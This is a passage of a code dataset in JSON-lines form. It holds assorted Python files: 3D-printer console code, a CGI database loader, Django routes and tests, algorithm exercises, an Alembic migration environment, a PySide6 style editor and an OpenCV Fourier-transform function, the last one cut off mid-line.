      if zo != []:\n            #roboprinter.printer_instance._logger.info('Zoffset Background Update ' + str(zo[0]))\n            self.zoffset['Z'] =  float(zo[0])\n            self.eeprom['z offset'] = self.zoffset\n        finished_time = (time.time() - self.cur_time) * 1000\n        roboprinter.printer_instance._logger.info(\"ZOffset getting it in \" + str(finished_time) + \" ms\")\n\n    def query_eeprom(self):\n        self.cur_time = time.time()\n        roboprinter.printer_instance._printer.commands('M501')\n\n    def get_eeprom(self):\n        self.counter = 0\n        self.eeprom_ready = False\n        roboprinter.printer_instance._printer.commands('M501')\n\n        while (self.eeprom_ready == False):\n            pass\n\n        return self.eeprom\n    def generate_eeprom(self):\n        self.eeprom_ready = False\n        roboprinter.printer_instance._printer.commands('M501')\n\n    def get_old_eeprom(self):\n        pass\n        return self.eeprom\n\n    def get_position(self):\n\n        if not self.busy:\n            self.sent_M114 = True\n            self.cur_time = time.time()\n            roboprinter.printer_instance._printer.commands('M114')\n            \n            while (self.position_ready == False):\n                pass\n    \n            self.position_ready = False\n            self.sent_M114 = False\n            return self.position\n        else:\n            return False\n\n        \n    def initialize_eeprom(self):\n        self.steps_per_unit = {\n            'X' : 0,\n            'Y' : 0,\n            'Z' : 0,\n            'E' : 0\n        }\n        self.maximum_feed_rate = {\n            'X' : 0,\n            'Y' : 0,\n            'Z' : 0,\n            'E' : 0\n        }\n        self.maximum_acceleration = {\n            'X' : 0,\n            'Y' : 0,\n            'Z' : 0,\n            'E' : 0\n        }\n        self.accelerations = {\n            'P' : 0,\n            'R' : 0,\n            'T' : 0\n        }\n        self.advanced_variables = {\n            'S' : 0,\n            'T' : 0,\n            'B' : 0,\n            'X' : 0,\n            'Z' : 0,\n            'E' : 0\n        }\n        self.home_offset = {\n            #'X' : 0,\n            #'Y' : 0,\n            'Z' : 0\n        }\n        self.PID = {\n            'P' : 0,\n            'I' : 0,\n            'D' : 0\n        }\n        self.BPID = {\n            'P' : 0,\n            'I' : 0,\n            'D' : 0\n        }\n        self.filament_settings = {\n            'D' : 0\n        }\n        self.zoffset = {\n            'Z' : 0\n        }\n        self.eeprom = {\n            'steps per unit' : self.steps_per_unit,\n            'max feed rate' : self.maximum_feed_rate,\n            'max acceleration' : self.maximum_acceleration,\n            'accelerations' : self.accelerations,\n            'advanced variables' : self.advanced_variables,\n            'home offset' : self.home_offset,\n            'PID' : self.PID,\n            'BPID': self.BPID,\n            'filament settings' : self.filament_settings,\n            'z offset' : self.zoffset\n        }\n\n\n\npconsole = PConsole()\n","repo_name":"mcecchi/SuperOcto","sub_path":"RoboLCD/RoboLCD/lcd/pconsole.py","file_name":"pconsole.py","file_ext":"py","file_size_in_byte":16266,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"26856796646","text":"#!/usr/bin/python3\r\n# -*- coding: utf-8 -*-\r\nimport sys\r\nimport json\r\nimport cgi\r\nimport hashlib\r\nimport pymysql\r\nimport configparser\r\nfrom random import Random\r\n\r\nresultJSON = {}\r\ndef sentJSON():\r\n    print(\"Content-Type: application/json\")\r\n    print(\"\\n\")\r\n    print(\"\\n\")\r\n    print(json.dumps(resultJSON,indent=1))\r\ndef setJSON(status, message):\r\n    resultJSON[\"status\"] = status\r\n    resultJSON[\"message\"] = message\r\n    \r\ntry:\r\n    configFile = configparser.ConfigParser()\r\n    configFile.read(sys.path[0] + \"/config.ini\")\r\n    config = configFile[\"Connection\"]\r\n    db = pymysql.connect(host=config[\"Host\"], user=config[\"User\"], \\\r\n         passwd=config[\"Password\"], db=config[\"Scheme\"], port=int(config[\"Port\"]), use_unicode=True, charset=\"utf8\")\r\n    cursor = db.cursor()\r\nexcept:\r\n    setJSON(\"error\", \"Error while connecting to database.\")\r\n    sentJSON()\r\n    sys.exit(0)\r\n\r\nform = cgi.FieldStorage()\r\nreadId = form.getvalue('data')\r\nif len(readId) > 6:\r\n    setJSON(\"error\", \"Invaild id.\")\r\n    sentJSON()\r\n    sys.exit(0)\r\n\r\ntry:\r\n    insertSql = '''SELECT content from simulator where key_id=%s'''\r\n    cursor.execute(insertSql, readId)\r\n    resultJSON[\"data\"] = cursor.fetchall()[0]\r\n    setJSON(\"success\",\"Load data completed.\")\r\nexcept:\r\n    setJSON(\"error\",\"Error while loading data.\")\r\n        \r\nsentJSON()\r\n\r\n#Close database\r\ncursor.close()\r\ndb.close()\r\n","repo_name":"DiruSec/ntGrindSimulator","sub_path":"cgi-bin/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9898544213","text":"from django.urls import path\nfrom .views import (\n    Home,\n    Signup,\n    SignUpView,\n    LoginPage,\n    LoginPgaeFormView,\n    UserRegistrationView,\n    UserSignUpView,\n    UserLoginView,\n    UserSignInView,\n    LogoutPageView,\n)\n\nurlpatterns = [\n    path(\"\", Home.as_view(), name=\"home\"),\n    path(\"signup/\", Signup.as_view(), name=\"signup\"),\n    path(\"signup1/\", SignUpView.as_view(), name=\"signup-one\"),\n    path(\"signup3/\", UserRegistrationView.as_view(), name=\"signup-three\"),\n    path(\"signup4/\", UserSignUpView.as_view(), name=\"signup4\"),\n    path(\"loginpage/\", LoginPage.as_view(), name=\"loginpage\"),\n    path(\"loginpage-view/\", LoginPgaeFormView.as_view(), name=\"login-one\"),\n    path(\"login3/\", UserLoginView.as_view(), name=\"login3\"),\n    path(\"login4/\", UserSignInView.as_view(), name=\"login4\"),\n    path(\"logout/\", LogoutPageView.as_view(), name=\"logout\"),\n]\n","repo_name":"ammuanju97/Example_Project_One","sub_path":"core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33243972908","text":"# 문제\n# 상근이는 요즘 설탕공장에서 설탕을 배달하고 있다. 상근이는 지금 사탕가게에 설탕을 정확하게 N킬로그램을 배달해야 한다. 설탕공장에서 만드는 설탕은 봉지에 담겨져 있다. 봉지는 3킬로그램 봉지와 5킬로그램 봉지가 있다.\n\n# 상근이는 귀찮기 때문에, 최대한 적은 봉지를 들고 가려고 한다. 예를 들어, 18킬로그램 설탕을 배달해야 할 때, 3킬로그램 봉지 6개를 가져가도 되지만, 5킬로그램 3개와 3킬로그램 1개를 배달하면, 더 적은 개수의 봉지를 배달할 수 있다.\n\n# 상근이가 설탕을 정확하게 N킬로그램 배달해야 할 때, 봉지 몇 개를 가져가면 되는지 그 수를 구하는 프로그램을 작성하시오.\n\nn = int(input())\nresult = 0\nwhile True:\n    if n % 5 == 0:\n        result += n//5\n        n = n - n//5*5\n    else:\n        n -= 3\n        result += 1\n    if n < 0:\n        print(-1)\n        break\n    elif n == 0:\n        print(result)\n        break\n       \n#5로 나눠서 나누어 떨어지면 result에 5로 나는 몫을 더한 후 n을 초기화 해 주었다. 5로 나누어 떨어지지 않으면 3을 빼고 result에 1을 더해 주었다.\n#n이 0이면 정확하게 나누어 떨어진 것이기 때문에 result를 출력하고 n이 음수가 나오면 정확하지 않기 때문에 -1을 출력해 주었다.\n","repo_name":"park-yeon-cheol/python","sub_path":"2839.py","file_name":"2839.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29029097987","text":"import pytest\n\nfrom intranet.femida.src.offers.models import Offer\nfrom intranet.femida.src.permissions.context import context\nfrom intranet.femida.src.vacancies.choices import VACANCY_ROLES\n\nfrom intranet.femida.tests import factories as f\n\n\n@pytest.mark.parametrize('user_perm, user_role', (\n    ('hrbp_perm', VACANCY_ROLES.observer),\n    ('hrbp_perm', VACANCY_ROLES.auto_observer),\n    ('recruiter_perm', VACANCY_ROLES.recruiter),\n    ('recruiter_perm', VACANCY_ROLES.main_recruiter),\n))\ndef test_users_with_perms_access_to_offer(user_perm, user_role):\n    user = f.create_user_with_perm(user_perm)\n    members = [] if user_role is None else [(user_role, user)]\n    vacancy, consideration = f.create_simple_vacancy_with_candidate(vacancy_members=members)\n    f.OfferFactory(candidate=consideration.candidate, vacancy=vacancy)\n    context.init(user)\n    offer_qs = Offer.objects.filter(candidate=consideration.candidate)\n    assert offer_qs.exists()\n\n\n@pytest.mark.parametrize('user_role', VACANCY_ROLES._db_values)\ndef test_users_without_perms_access_to_offer(user_role):\n    result = user_role == VACANCY_ROLES.hiring_manager\n    user = f.create_user()\n    members = [] if user_role is None else [(user_role, user)]\n    vacancy, consideration = f.create_simple_vacancy_with_candidate(vacancy_members=members)\n    f.OfferFactory(candidate=consideration.candidate, vacancy=vacancy)\n    context.init(user)\n    offer_qs = Offer.objects.filter(candidate=consideration.candidate)\n    assert offer_qs.exists() is result\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/unit/offers/test_managers.py","file_name":"test_managers.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18643965713","text":"import collections\nimport math\n\n\ndef slurp(file):\n  import os\n  result = \"\"\n  with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), file), \"r\") as f:\n    result = f.read()\n  return result.strip()\nmy = slurp(\"input\")\n\ne1 = \"\"\"10 ORE => 10 A\n1 ORE => 1 B\n7 A, 1 B => 1 C\n7 A, 1 C => 1 D\n7 A, 1 D => 1 E\n7 A, 1 E => 1 FUEL\"\"\"\n\n\ne2 = \"\"\"2 VPVL, 7 FWMGM, 2 CXFTF, 11 MNCFX => 1 STKFG\n17 NVRVD, 3 JNWZP => 8 VPVL\n53 STKFG, 6 MNCFX, 46 VJHF, 81 HVMC, 68 CXFTF, 25 GNMV => 1 FUEL\n22 VJHF, 37 MNCFX => 5 FWMGM\n139 ORE => 4 NVRVD\n144 ORE => 7 JNWZP\n5 MNCFX, 7 RFSQX, 2 FWMGM, 2 VPVL, 19 CXFTF => 3 HVMC\n5 VJHF, 7 MNCFX, 9 VPVL, 37 CXFTF => 6 GNMV\n145 ORE => 6 MNCFX\n1 NVRVD => 8 CXFTF\n1 VJHF, 6 MNCFX => 4 RFSQX\n176 ORE => 6 VJHF\"\"\"\n\ne3 = \"\"\"171 ORE => 8 CNZTR\n7 ZLQW, 3 BMBT, 9 XCVML, 26 XMNCP, 1 WPTQ, 2 MZWV, 1 RJRHP => 4 PLWSL\n114 ORE => 4 BHXH\n14 VRPVC => 6 BMBT\n6 BHXH, 18 KTJDG, 12 WPTQ, 7 PLWSL, 31 FHTLT, 37 ZDVW => 1 FUEL\n6 WPTQ, 2 BMBT, 8 ZLQW, 18 KTJDG, 1 XMNCP, 6 MZWV, 1 RJRHP => 6 FHTLT\n15 XDBXC, 2 LTCX, 1 VRPVC => 6 ZLQW\n13 WPTQ, 10 LTCX, 3 RJRHP, 14 XMNCP, 2 MZWV, 1 ZLQW => 1 ZDVW\n5 BMBT => 4 WPTQ\n189 ORE => 9 KTJDG\n1 MZWV, 17 XDBXC, 3 XCVML => 2 XMNCP\n12 VRPVC, 27 CNZTR => 2 XDBXC\n15 KTJDG, 12 BHXH => 5 XCVML\n3 BHXH, 2 VRPVC => 7 MZWV\n121 ORE => 7 VRPVC\n7 XCVML => 6 RJRHP\n5 BHXH, 4 VRPVC => 5 LTCX\"\"\"\n\n\ndef parse_recieps(data):\n  recieps = {\"ORE\": (1, [])}\n  for l in data.split(\"\\n\"):\n    ingridients, result = tuple(l.split(\"=>\"))\n    ingridients = [x.strip().split() for x in ingridients.split(\",\")]\n    ingridients = [(int(x[0]), x[1]) for x in ingridients]\n\n    result = result.strip().split()    \n    if result[1] in recieps:\n      raise Exception(\"Already exist in the list\")\n    recieps[result[1]] = (int(result[0]), ingridients)\n  return recieps\n\n\ndef number_of_ore(recieps, amount = 1):\n  to_create = [(amount*x[0], x[1]) for x in recieps[\"FUEL\"][1]]\n  balance = collections.defaultdict(lambda: 0)\n  need_to_use = collections.defaultdict(lambda: 0)\n  while len(to_create) > 0:\n    ingridient = to_create[0]\n    produce = recieps[ingridient[1]][0]\n    ingridients = recieps[ingridient[1]][1]\n    # print(\"Need\", ingridient, \"produce\", produce, \"from\", ingridients)\n    netto = ingridient[0]-balance[ingridient[1]]\n    # We really need it\n    if netto > 0:\n      mult = math.ceil(netto/produce)\n      balance[ingridient[1]] += mult*produce - ingridient[0] # But what is left to the balance\n      need_to_use[ingridient[1]] += ingridient[0]\n      # Add ingredients to the list multiplied\n      to_create.extend([(x[0]*mult, x[1]) for x in ingridients])\n    else:\n      # We can reuse existed\n      balance[ingridient[1]] -= ingridient[0]\n    to_create = to_create[1:]\n  return need_to_use[\"ORE\"]\n\n\nif __name__ == \"__main__\":\n  data = my\n\n  recieps = parse_recieps(data)\n  print(f\"For 1 FUEL we need {number_of_ore(recieps)} of ORE\")\n  \n  ore =   1000000000000\n  f = 0\n  t = ore # If we have 1:1 ratio\n  while t-f > 1:\n    cur = math.floor(f+(t-f)/2)\n    required = number_of_ore(recieps, cur)\n    if required > ore:\n      t = cur\n    else:\n      f = cur\n  print(f\"For {f} {number_of_ore(recieps, f)}\")\n  print(f\"For {t} {number_of_ore(recieps, t)}\")\n  print(f\"Posible amount from {ore} ore is {cur} use {required}\")\n\n  \n    ","repo_name":"makadaw/adventofcode2019","sub_path":"14/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8472790408","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\n\"\"\"\nPre order traversal.\n  Recursive approach. Uses a stack, the call stack\n            4\n    /             \\\n   3               2\n  / \\             /\n 1   5           8\n \n [4,3,1,5,2,8]\n\"\"\"\nclass Solution:\n    def preorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n      \n        def traverse(root, ans):\n          if not root: return\n          ans.append(root.val)\n          if root.left: \n            traverse(root.left, ans)\n          if root.right:\n            traverse(root.right, ans)\n        \n        ans = []\n        traverse(root, ans)\n        return ans","repo_name":"robertomaldonado/LeetHubCode","sub_path":"144-binary-tree-preorder-traversal/144-binary-tree-preorder-traversal.py","file_name":"144-binary-tree-preorder-traversal.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21125388332","text":"import os, sys\nimport time\nfrom pathlib import Path\n\nfrom dataclasses import dataclass, field\nfrom typing import List\nfrom collections import defaultdict\nimport pickle\n\n\nimport numpy as np\n\nfrom slr.data.ksl.keypoint import *\nfrom slr.data.ksl.datapath import DataPath\n\n# from typing import\nDATA_ROOT_PATH_AIHUB = r\"D:\\유영현\\ksl\\수어 영상\\1.Training\\[라벨]02_real_word_keypoint\\02\"\nSAMPLE_DATA_PATH = r\"d:\\유영현\\ksl\\수어 영상\\1.Training\\[라벨]02_real_word_keypoint\\02\\NIA_SL_WORD0001_REAL02_D\\NIA_SL_WORD0001_REAL02_D_000000000000_keypoints.json\"\n\n\n@dataclass\nclass KeypointSeq:\n    data_path: Path\n    word_cls: str = \"\"  # word class\n    features: int = 2\n\n    @property\n    def key_arr(self) -> np.ndarray:\n        npy_path = self.data_path / (self.data_path.name + \".npy\")\n        return self._load_data(npy_path)\n\n    def _load_data(self, file_name: Path) -> np.ndarray:\n        if file_name.is_file():\n            # print('loading arr')\n            return np.load(file_name)[:, ..., : self.features]\n        else:\n            # print('saving arr')\n            data = np.array([Parser(i).keypoints for i in self.data_path.iterdir()])\n            np.save(file_name, data)\n            return data[:, ..., : self.features]\n\n\n@dataclass\nclass Parser:\n    path: Path\n    angle: str\n    word: str\n    method: str\n    kpoint: Keypoint\n\n    def __init__(self, path: Path, dimension=2):\n        self.path = path\n        self.d = dimension\n\n        parts = self.path.parts[-2].split(\"_\")\n        self.word = \"_\".join(parts[:3])\n        self.method = parts[3]\n        self.angle = parts[4]\n\n    def parse_json(self):\n        with open(self.path) as f:\n            people = eval(f.read())[\n                \"people\"\n            ]  # data is read by str, casting str to dict\n\n            data = []\n            if self.d == 2:\n                for k in [\n                    \"face_keypoints_2d\",\n                    \"pose_keypoints_2d\",\n                    \"hand_left_keypoints_2d\",\n                    \"hand_right_keypoints_2d\",\n                ]:\n                    data.append(people[k])\n            else:\n                for k in [\n                    \"face_keypoints_3d\",\n                    \"pose_keypoints_3d\",\n                    \"hand_left_keypoints_3d\",\n                    \"hand_right_keypoints_3d\",\n                ]:\n                    data.append(people[k])\n\n            self._set_kpoint(data)\n\n    def _set_kpoint(self, data):\n        if self.d == 2:\n            self.kpoint = Kpoint2D(data)\n        else:\n            self.kpoint = Kpoint3D(data)\n\n    @property\n    def keypoints(self) -> np.array:\n        self.parse_json()\n        return self.kpoint.key_data\n\n\ndef main():\n    print(Path(DATA_ROOT_PATH_AIHUB) / os.listdir(Path(DATA_ROOT_PATH_AIHUB))[0])\n    print(Path(SAMPLE_DATA_PATH).parts)\n\n\nif __name__ == \"__main__\":\n    # main()\n    a = Parser(Path(SAMPLE_DATA_PATH))\n    # a.parse_json()\n    # print(a.keypoints.shape)\n    cls_dir = DataPath(class_limit=10).class_dict\n    st = time.time()\n    key_dir = defaultdict(list)\n    for vid_dir in cls_dir[list(cls_dir.keys())[0]]:\n        print(KeypointSeq(vid_dir, list(cls_dir.keys())[0]).key_arr.shape)\n        break\n        # arr = KeypointSeq(list(cls_dir.keys())[0],vid_dir).key_arr\n        # key_dir[0].append(arr)\n\n    # print(sys.getsizeof(key_dir))\n\n    print(time.time() - st)\n","repo_name":"0hyunU/slr_proj","sub_path":"slr/data/ksl/keypoint_json_parser.py","file_name":"keypoint_json_parser.py","file_ext":"py","file_size_in_byte":3369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43024570804","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport alembic_postgresql_enum  # noqa: F401 # import activates the plugin\n\nfrom alembic import context\nfrom sqlalchemy import create_engine, pool, text\n\nfrom warehouse import db\n\n\ndef run_migrations_offline():\n    \"\"\"\n    Run migrations in 'offline' mode.\n\n    This configures the context with just a URL\n    and not an Engine, though an Engine is acceptable\n    here as well.  By skipping the Engine creation\n    we don't even need a DBAPI to be available.\n\n    Calls to context.execute() here emit the given string to the\n    script output.\n    \"\"\"\n    url = context.config.get_main_option(\"sqlalchemy.url\")\n    context.configure(url=url, compare_server_default=True)\n\n    with context.begin_transaction():\n        context.run_migrations()\n\n\ndef run_migrations_online():\n    \"\"\"\n    Run migrations in 'online' mode.\n\n    In this scenario we need to create an Engine\n    and associate a connection with the context.\n    \"\"\"\n    options = context.config.get_section(context.config.config_ini_section)\n    url = options.pop(\"url\")\n    connectable = create_engine(url, poolclass=pool.NullPool)\n\n    with connectable.connect() as connection:\n        connection.execute(text(\"SET statement_timeout = 5000\"))\n        connection.execute(text(\"SET lock_timeout = 4000\"))\n\n        context.configure(\n            connection=connection,\n            target_metadata=db.metadata,\n            compare_server_default=True,\n            transaction_per_migration=True,\n        )\n        with context.begin_transaction():\n            connection.execute(text(\"SELECT pg_advisory_lock(hashtext('alembic'))\"))\n            context.run_migrations()\n            context.get_bind().commit()\n            connection.execute(text(\"SELECT pg_advisory_unlock(hashtext('alembic'))\"))\n\n\nif context.is_offline_mode():\n    run_migrations_offline()\nelse:\n    run_migrations_online()\n","repo_name":"pypi/warehouse","sub_path":"warehouse/migrations/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":3382,"dataset":"github-code","pt":"3"}
+{"seq_id":"6537795398","text":"from PySide6.QtWidgets import (QWidget, QPlainTextEdit, QVBoxLayout,\n\t\t\t\t\t\t\t    QFrame, QSpinBox,QLabel,  QPushButton, QGridLayout,\n\t\t\t\t\t\t\tQFontComboBox, QHBoxLayout, QScrollArea, QStatusBar,\n                            QTableWidget, QHeaderView\n\t\t\t\t\t\t\t   )\nfrom PySide6.QtCore import QSize\nfrom colour import Color\nfrom customWidgets.divider import sectionDivider\nfrom customWidgets.flowLayout import FlowLayout\n\nclass styleEditor(QWidget):\n    def __init__(self, placeholder=None, color_list=None):\n        super().__init__()\n        self.setMinimumSize(QSize(600,300))\n\n        self.editor = QPlainTextEdit()\n        self.editor.setPlaceholderText(placeholder)\n        self.default = QPlainTextEdit()\n        self.default.setStyleSheet(\"background-color: gray; color: white;\")\n        self.default.setReadOnly(True)\n        style_editor = QFrame()\n        style_editor.setLayout(QGridLayout())\n        style_editor.layout().addWidget(QLabel(text=\"default stylesheet\"), 0, 0, 1, 1)\n        style_editor.layout().addWidget(QLabel(text=\"custom stylesheet\"), 0, 1, 1, 1)\n        style_editor.layout().addWidget(self.default, 1, 0, 3, 1)\n        style_editor.layout().addWidget(self.editor,1, 1, 3, 1)\n        self.editor.setToolTip(\"Use '{{' and '}}' when there is named tuple otherwise '{' '}'\")\n        self.editor.setToolTipDuration(50000)\n        action_btns = QFrame()\n        action_btns.setLayout(QHBoxLayout())\n        self.apply_btn = QPushButton(text=\"Apply Style\")\n        self.save_btn = QPushButton(text=\"Save Style\")\n        action_btns.layout().addWidget(self.apply_btn)\n        action_btns.layout().addWidget(self.save_btn)\n\n        layout = QVBoxLayout()\n        warn_label = QLabel(\"!Style will Overwrite Palette\")\n        warn_label.setStyleSheet(\"font: 800 15px; color: red;\")\n        layout.addWidget(warn_label, stretch=2)\n        layout.addWidget(style_editor)\n        layout.addWidget(action_btns)\n        # font area\n        layout.addWidget(sectionDivider(\"vertical\"))\n        font_area = QFrame()\n        font_area.setLayout(QHBoxLayout())\n        self.font_display = QLabel(text=\"font display\")\n        self.font_selector = QFontComboBox(objectName=\"font_combo\")\n        self.font_size = QSpinBox()\n        self.font_size.setRange(1, 50)\n        self.font_size.setValue(10)\n        font_area.layout().addWidget(self.font_display, stretch=2)\n        font_area.layout().addWidget(self.font_selector, stretch=3)\n        font_area.layout().addWidget(self.font_size, stretch=1)\n        layout.addWidget(font_area, stretch=2)\n\n        self.font_selector.currentFontChanged.connect(self.update_font)\n        self.font_size.valueChanged.connect(self.update_font)\n\n        # color area\n        layout.addWidget(QLabel(text=\"Palette Colors\"))\n        self.scroll = QScrollArea()\n        self.scroll.setWidgetResizable(True)\n        self.colorView = QWidget()\n        self.scroll.setWidget(self.colorView)\n        self.colorViewLayout = FlowLayout(self.colorView)\n        layout.addWidget(self.scroll)\n        if color_list is not None:\n            self.setColor(color_list)\n\n        # named variable\n        layout.addWidget(QLabel(text=\"Named Tuple for StyleSheet\"))\n        self.cur_table = QTableWidget()\n        self.cur_table.setColumnCount(2)\n        self.cur_table.horizontalHeader().setVisible(True)\n        header = self.cur_table.horizontalHeader()\n        header.setSectionResizeMode(0, QHeaderView.ResizeToContents)\n        header.setSectionResizeMode(1, QHeaderView.Stretch)\n        self.cur_table.setHorizontalHeaderLabels([\"name\", \"definition\"])\n        self.cur_table.verticalHeader().setVisible(True)\n        self.cur_table.setRowCount(1)\n\n        addButton = QPushButton(text=\"+\")\n        removeButton = QPushButton(text=\"-\")\n        button_layout = QFrame()\n        button_layout.setLayout(QHBoxLayout())\n        button_layout.layout().addWidget(addButton)\n        button_layout.layout().addWidget(removeButton)\n        addButton.clicked.connect(self.table_add)\n        removeButton.clicked.connect(self.table_delete)\n\n        layout.addWidget(self.cur_table)\n        layout.addWidget(button_layout)\n\n        cur_status = QStatusBar(objectName='StatusBar')\n        cur_status.showMessage(\"real time change to screen\")\n        layout.addWidget(cur_status)\n        self.setLayout(layout)\n        # self.setWindowFlag(Qt.FramelessWindowHint)\n        # need to add title bar if go to frameless\n\n    def table_add(self):\n        rowCount = self.cur_table.rowCount()\n        self.cur_table.insertRow(rowCount)\n\n    def table_delete(self):\n        if self.cur_table.rowCount() > 1:\n            self.cur_table.removeRow(self.cur_table.rowCount()-1)\n\n    def get_table_value(self):\n        row_count = self.cur_table.rowCount()\n        named_tuples = {}\n        for i in range(row_count):\n            key_ = self.cur_table.item(i, 0)\n            if key_ is None or key_.text() == \"\":\n                return named_tuples\n            elif self.cur_table.item(i, 1) is None:\n                return named_tuples\n            else:\n                named_tuples[key_.text()] = self.cur_table.item(i,1).text()\n        return named_tuples\n\n\n    def update_font(self):\n        self.font_display.setStyleSheet('font: {0}px \"{1}\"'.format(self.font_size.value(), self.font_selector.currentText()))\n\n    def init_default_style(self, file):\n        with open(file, 'r') as fh:\n            self.default.setPlainText(fh.read())\n\n    def setColor(self, color_list):\n        num_colors = self.colorViewLayout.count()\n        min_count = min(num_colors, len(color_list))\n        for i in range(min_count):\n            cur_lbl = self.colorViewLayout.itemAt(i).widget()\n            cur_lbl.setText(color_list[i])\n            cur_col = Color(color_list[i])\n            text_color = \"white\" if (sum(cur_col.rgb) / 3) < 0.5 else \"black\"\n            cur_lbl.setStyleSheet(f\"border: 1px solid black; background-color: {color_list[i]}; color: {text_color}\")\n\n        # delete\n        if num_colors > len(color_list):\n            for i in range(min_count, num_colors):\n                self.colorViewLayout.itemAt(i).deleteLater()\n\n        elif num_colors < len(color_list):\n            for i in range(min_count, len(color_list)):\n                cur_lbl = QLabel(text=color_list[i])\n                cur_col = Color(color_list[i])\n                text_color = \"white\" if (sum(cur_col.rgb) / 3) < 0.5 else \"black\"\n                cur_lbl.setStyleSheet(f\"border: 1px solid black; background-color: {color_list[i]}; color: {text_color};\")\n                self.colorViewLayout.addWidget(cur_lbl)","repo_name":"winniepooh001/color_palette","sub_path":"customWidgets/stylsheetWindow.py","file_name":"stylsheetWindow.py","file_ext":"py","file_size_in_byte":6588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71870097682","text":"#User function Template for python3\n\nclass Solution:\n    def printClosest (self,arr, brr, n, m, x) : \n        i,j=0,m-1\n        diff=1e9\n        val1,val2=-1,-1\n        while(i<n and j>=0):\n            sum=arr[i]+brr[j]\n            \n            if(abs(sum-x)<diff):\n                diff=abs(sum-x)\n                val1,val2=arr[i],brr[j]\n                \n            \n            if(sum<=x):\n                i+=1\n            else:\n                j-=1\n        \n        return [val1,val2]\n\n#{ \n # Driver Code Starts\n#Initial Template for Python 3\n\nfor _ in range(0,int(input())):\n    n, m = map(int, input().split())\n    arr = list(map(int, input().strip().split()))\n    brr = list(map(int, input().strip().split()))\n    x = int(input())\n    ob = Solution()\n    ans = ob.printClosest(arr, brr, n, m, x)\n    print(abs(ans[0]+ans[1] - x))\n# } Driver Code Ends","repo_name":"Sona2707/Leetcode-GFG","sub_path":"Find the closest pair from two arrays - GFG/find-the-closest-pair-from-two-arrays.py","file_name":"find-the-closest-pair-from-two-arrays.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29378894915","text":"#conda install pyzmq=14.7.0\n\n\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom resizeImage import image_resize\nfrom houghTrasnform import houghTrasnform, houghTrasnformGrouped, houghTrasnformPaired\nimport matplotlib.pyplot as plt\n\ndef discriteFourierTransform(img):\n    rows, columns = np.shape(img)\n    m = cv2.getOptimalDFTSize(rows)\n    n = cv2.getOptimalDFTSize(columns)\n    \n    imBorder = cv2.copyMakeBorder(img, 0, m - rows, 0, n - columns, cv2.BORDER_CONSTANT, value = 0)\n    \n    planes  = [np.float32(imBorder), np.zeros(imBorder.shape, np.float32)]\n    complexI = cv2.merge(planes)  # Add to the expanded another plane with zeros\n     \n#    dft1 = cv2.dft(np.float32(img), flags=cv2.DFT_COMPLEX_OUTPUT)\n#    dft2 = cv2.dft(np.float32(imBorder), flags=cv2.DFT_COMPLEX_OUTPUT)\n    cv2.dft(complexI, complexI)  # this way the result may fit in the source matrix\n    cv2.split(complexI, planes)                   # planes[0] = Re(DFT(I), planes[1] = Im(DFT(I))\n\n\n    cv2.magnitude(planes[0], planes[1], planes[0])# planes[0] = magnitude\n    \n    magI = planes[0]\n    \n    matOfOnes = np.ones(magI.shape, dtype=magI.dtype)\n    cv2.add(matOfOnes, magI, magI) #  switch to logarithmic scale\n    cv2.log(magI, magI)\n    \n    magI_rows, magI_cols = magI.shape\n    # crop the spectrum, if it has an odd number of rows or columns\n    magI = magI[0:(magI_rows & -2), 0:(magI_cols & -2)]\n    cx = int(magI_rows/2)\n    cy = int(magI_cols/2)\n    q0 = magI[0:cx, 0:cy]         # Top-Left - Create a ROI per quadrant\n    q1 = magI[cx:cx+cx, 0:cy]     # Top-Right\n    q2 = magI[0:cx, cy:cy+cy]     # Bottom-Left\n    q3 = magI[cx:cx+cx, cy:cy+cy] # Bottom-Right\n    tmp = np.copy(q0)               # swap quadrants (Top-Left with Bottom-Right)\n    magI[0:cx, 0:cy] = q3\n    magI[cx:cx + cx, cy:cy + cy] = tmp\n    tmp = np.copy(q1)               # swap quadrant (Top-Right with Bottom-Left)\n    magI[cx:cx + cx, 0:cy] = q2\n    magI[0:cx, cy:cy + cy] = tmp\n    \n    cv2.normalize(magI, magI, 0, 1, cv2.NORM_MINMAX) # Transform the matrix with float values into a\n    plt.imshow(magI)\n    plt.show()\n\n    \n    \ndef 